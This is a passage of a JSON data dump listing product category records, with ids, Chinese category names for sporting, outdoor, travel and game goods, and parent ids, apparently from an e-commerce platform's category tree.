ble":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24523,"name":"激光测距望远镜","parent_cid":20524,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24520,"name":"普通望远镜","parent_cid":20524,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24519,"name":"数码望远镜","parent_cid":20524,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24518,"name":"天文望远镜","parent_cid":20524,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24521,"name":"望远镜配件","parent_cid":20524,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24748,"name":"旅行口腔清洁护理用品","parent_cid":20541,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":24746,"name":"旅行美发用品","parent_cid":20541,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":24739,"name":"旅行剃须刀","parent_cid":20541,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24744,"name":"旅行洗护用品","parent_cid":20541,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":24740,"name":"旅行洗手液","parent_cid":20541,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24745,"name":"旅行洗漱套装","parent_cid":20541,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24723,"name":"毛巾","parent_cid":20541,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24730,"name":"马桶垫","parent_cid":20541,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24732,"name":"洗漱包/化妆包","parent_cid":20541,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24747,"name":"一次性床单被套","parent_cid":20541,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24743,"name":"一次性浴缸袋","parent_cid":20541,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24741,"name":"户外烧水壶/茶壶/咖啡壶","parent_cid":20542,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24737,"name":"净水设备","parent_cid":20542,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24728,"name":"酒壶","parent_cid":20542,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24731,"name":"配件区","parent_cid":20542,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":24725,"name":"水杯","parent_cid":20542,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24724,"name":"水壶","parent_cid":20542,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24727,"name":"水盆","parent_cid":20542,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24726,"name":"水桶","parent_cid":20542,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24742,"name":"野外沐浴袋/太阳能沐浴袋","parent_cid":20542,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24738,"name":"饮用水袋/皮囊","parent_cid":20542,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":24382,"name":"车顶帐篷","parent_cid":20504,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24359,"name":"更衣/沐浴帐篷","parent_cid":20504,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24356,"name":"工程/民用/活动/救灾帐篷","parent_cid":20504,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24357,"name":"露营/旅游/登山帐篷","parent_cid":20504,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24380,"name":"沙滩帐/钓鱼遮阳帐篷","parent_cid":20504,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24381,"name":"帐篷配件","parent_cid":20504,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":24375,"name":"遮阳篷/雨篷/车篷/广告篷/天幕","parent_cid":20504,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24189,"name":"棒球","parent_cid":20496,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24208,"name":"棒球棒","parent_cid":20496,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24207,"name":"棒球帽","parent_cid":20496,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24287,"name":"棒球球迷用品","parent_cid":20496,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24248,"name":"棒球手套","parent_cid":20496,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24449,"name":"保龄球","parent_cid":20516,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24461,"name":"保龄球包","parent_cid":20516,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24476,"name":"保龄球挂件","parent_cid":20516,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24462,"name":"保龄球瓶","parent_cid":20516,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24463,"name":"保龄球鞋","parent_cid":20516,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24360,"name":"冰刀鞋","parent_cid":20506,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24347,"name":"冰球","parent_cid":20506,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24361,"name":"冰球杆","parent_cid":20506,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24391,"name":"冰上运动配件区","parent_cid":20506,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":24362,"name":"滑冰服","parent_cid":20506,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24186,"name":"壁球","parent_cid":20493,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24203,"name":"壁球拍","parent_cid":20493,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24245,"name":"壁球拍线","parent_cid":20493,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24204,"name":"壁球鞋","parent_cid":20493,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34396,"name":"裁判服","parent_cid":34047,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34398,"name":"裁判专用哨","parent_cid":34047,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34399,"name":"换人牌","parent_cid":34047,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34402,"name":"计分牌","parent_cid":34047,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34397,"name":"计时工具","parent_cid":34047,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24700,"name":"电竞夹克/外套","parent_cid":20536,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24664,"name":"电竞帽","parent_cid":20536,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24622,"name":"电竞T恤","parent_cid":20536,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24693,"name":"电竞卫衣","parent_cid":20536,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24180,"name":"赛车服","parent_cid":20490,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24179,"name":"赛车帽","parent_cid":20490,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24182,"name":"赛车球迷用品","parent_cid":20490,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24181,"name":"赛车鞋","parent_cid":20490,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24444,"name":"多用球桌","parent_cid":20514,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24441,"name":"飞镖","parent_cid":20514,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":24443,"name":"沙狐球","parent_cid":20514,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":24442,"name":"悠悠/溜溜球","parent_cid":20514,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24445,"name":"桌上冰球","parent_cid":20514,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24446,"name":"桌上足球","parent_cid":20514,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":24450,"name":"橄榄球","parent_cid":20517,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24477,"name":"橄榄球头盔","parent_cid":20517,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24465,"name":"橄榄球鞋","parent_cid":20517,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24481,"name":"高尔夫服装","parent_cid":20520,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24482,"name":"高尔夫杆套","parent_cid":20520,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24495,"name":"高尔夫练习网","parent_cid":20520,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24471,"name":"高尔夫球","parent_cid":20520,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24485,"name":"高尔夫球钉","parent_cid":20520,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24484,"name":"高尔夫球杆","parent_cid":20520,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24483,"name":"高尔夫球帽","parent_cid":20520,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24470,"name":"高尔夫伞","parent_cid":20520,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24480,"name":"高尔夫手套","parent_cid":20520,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24472,"name":"高尔夫鞋","parent_cid":20520,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24496,"name":"高尔夫装备包","parent_cid":20520,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":24498,"name":"更多练习配件区","parent_cid":20520,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":24479,"name":"推杆练习器","parent_cid":20520,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24364,"name":"拔河绳","parent_cid":20507,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24376,"name":"板羽球/三毛球","parent_cid":20507,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24383,"name":"板羽球拍","parent_cid":20507,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24374,"name":"嗒嗒球/球拍","parent_cid":20507,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24354,"name":"风筝","parent_cid":20507,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":24392,"name":"更多民间运动用品","parent_cid":20507,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24365,"name":"滚铁环","parent_cid":20507,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24358,"name":"剑球/技巧球","parent_cid":20507,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24348,"name":"毽子","parent_cid":20507,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24363,"name":"可乐球","parent_cid":20507,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24350,"name":"空竹","parent_cid":20507,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":24352,"name":"门球","parent_cid":20507,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":24349,"name":"沙包","parent_cid":20507,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24351,"name":"藤球","parent_cid":20507,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24353,"name":"陀螺","parent_cid":20507,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24387,"name":"无极健身球","parent_cid":20507,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24691,"name":"花剑系列","parent_cid":20535,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":24690,"name":"击剑护具","parent_cid":20535,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24689,"name":"击剑剑包","parent_cid":20535,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24662,"name":"击剑袜","parent_cid":20535,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24663,"name":"击剑鞋","parent_cid":20535,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24688,"name":"佩剑系列","parent_cid":20535,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":24692,"name":"重剑系列","parent_cid":20535,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":24199,"name":"裁判/教练用品","parent_cid":20499,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":24291,"name":"更多篮球用品","parent_cid":20499,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24191,"name":"篮球","parent_cid":20499,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24224,"name":"篮球板","parent_cid":20499,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24238,"name":"篮球包/篮球袋","parent_cid":20499,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24292,"name":"篮球充气设备","parent_cid":20499,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24223,"name":"篮球服","parent_cid":20499,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24239,"name":"篮球架/篮球框","parent_cid":20499,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24293,"name":"篮球球迷用品","parent_cid":20499,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24226,"name":"篮球袜","parent_cid":20499,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24225,"name":"篮球网","parent_cid":20499,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24241,"name":"投篮机/投篮训练器","parent_cid":20499,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24368,"name":"摆摆乐","parent_cid":20508,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24369,"name":"暴走鞋","parent_cid":20508,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24384,"name":"便携魔轮","parent_cid":20508,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24367,"name":"弹跳跷","parent_cid":20508,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24373,"name":"风火轮","parent_cid":20508,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24390,"name":"更多极限运动","parent_cid":20508,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24355,"name":"滑板","parent_cid":20508,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24371,"name":"滑板车","parent_cid":20508,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24370,"name":"活力板","parent_cid":20508,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24388,"name":"竞技独轮车","parent_cid":20508,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24385,"name":"极限飞盘","parent_cid":20508,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24386,"name":"极限装备/配件区","parent_cid":20508,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":24379,"name":"漂移版/分体滑板","parent_cid":20508,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24366,"name":"双排轮","parent_cid":20508,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24372,"name":"直排轮","parent_cid":20508,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24343,"name":"矮人矿工","parent_cid":20503,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24322,"name":"筹码","parent_cid":20503,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24338,"name":"筹码架","parent_cid":20503,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24334,"name":"大富翁","parent_cid":20503,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24345,"name":"德国心脏病","parent_cid":20503,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24336,"name":"斗兽棋","parent_cid":20503,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24344,"name":"多米诺骨牌","parent_cid":20503,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24333,"name":"发牌机","parent_cid":20503,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24339,"name":"飞行棋","parent_cid":20503,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24342,"name":"富饶之城","parent_cid":20503,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24335,"name":"官捉兵","parent_cid":20503,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24341,"name":"国际象棋","parent_cid":20503,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24328,"name":"军棋/陆战棋","parent_cid":20503,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24332,"name":"卡卡颂","parent_cid":20503,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24320,"name":"狼人","parent_cid":20503,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24325,"name":"麻将","parent_cid":20503,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":24326,"name":"魔方/3D魔方","parent_cid":20503,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24331,"name":"三国杀","parent_cid":20503,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24321,"name":"筛盅","parent_cid":20503,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24323,"name":"跳棋","parent_cid":20503,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24316,"name":"UNO牌","parent_cid":20503,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24330,"name":"万智牌","parent_cid":20503,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24317,"name":"围棋","parent_cid":20503,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24337,"name":"洗牌机","parent_cid":20503,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24340,"name":"中国象棋","parent_cid":20503,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24324,"name":"转盘","parent_cid":20503,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24438,"name":"更多慢跑装备","parent_cid":20513,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24694,"name":"鞍具系列","parent_cid":20538,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":24698,"name":"马车配件","parent_cid":20538,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24695,"name":"马匹保健","parent_cid":20538,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24702,"name":"马匹清洁/马房用品","parent_cid":20538,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24696,"name":"马匹装备","parent_cid":20538,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":24697,"name":"马球用品","parent_cid":20538,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":24720,"name":"马术场地用具","parent_cid":20538,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24721,"name":"马术文化用品","parent_cid":20538,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24699,"name":"骑士装备","parent_cid":20538,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":24246,"name":"充气设备","parent_cid":20495,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24188,"name":"排球","parent_cid":20495,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24205,"name":"排球服","parent_cid":20495,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24247,"name":"排球球网","parent_cid":20495,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24276,"name":"排球战术板","parent_cid":20495,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24206,"name":"排球柱","parent_cid":20495,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24527,"name":"倒立机","parent_cid":20526,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24551,"name":"大型健身器械配件区","parent_cid":20526,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24532,"name":"登山机","parent_cid":20526,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24541,"name":"动感单车","parent_cid":20526,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24529,"name":"划船机","parent_cid":20526,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24528,"name":"健身车","parent_cid":20526,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24540,"name":"健身路径","parent_cid":20526,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24536,"name":"举重床/卧推器","parent_cid":20526,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24547,"name":"力量训练器械(局部型)","parent_cid":20526,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24549,"name":"力量训练器械(综合性)","parent_cid":20526,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24531,"name":"漫步机","parent_cid":20526,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24534,"name":"跑步机","parent_cid":20526,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24542,"name":"普拉提床","parent_cid":20526,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24535,"name":"骑马机","parent_cid":20526,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24544,"name":"器械减震垫","parent_cid":20526,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24537,"name":"甩脂机/律动机","parent_cid":20526,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24538,"name":"跳跳床/蹦蹦床","parent_cid":20526,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24530,"name":"椭圆机","parent_cid":20526,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24533,"name":"走步机","parent_cid":20526,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24455,"name":"计分器/翻分牌","parent_cid":20515,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24456,"name":"乒乓底板","parent_cid":20515,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24448,"name":"乒乓球","parent_cid":20515,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24489,"name":"乒乓球成品拍","parent_cid":20515,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24475,"name":"乒乓球挡板","parent_cid":20515,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24488,"name":"乒乓球发球机","parent_cid":20515,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24458,"name":"乒乓球服","parent_cid":20515,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24459,"name":"乒乓球盒","parent_cid":20515,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24490,"name":"乒乓球捡球器","parent_cid":20515,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24486,"name":"乒乓球拍套/包","parent_cid":20515,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24457,"name":"乒乓球台","parent_cid":20515,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24460,"name":"乒乓球袜","parent_cid":20515,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24487,"name":"乒乓球网架/网","parent_cid":20515,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24491,"name":"乒乓球训练器","parent_cid":20515,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24474,"name":"乒乓套胶/海绵/单胶片","parent_cid":20515,"level":3,"enable":1,"is_leaf":true,"industry_status":2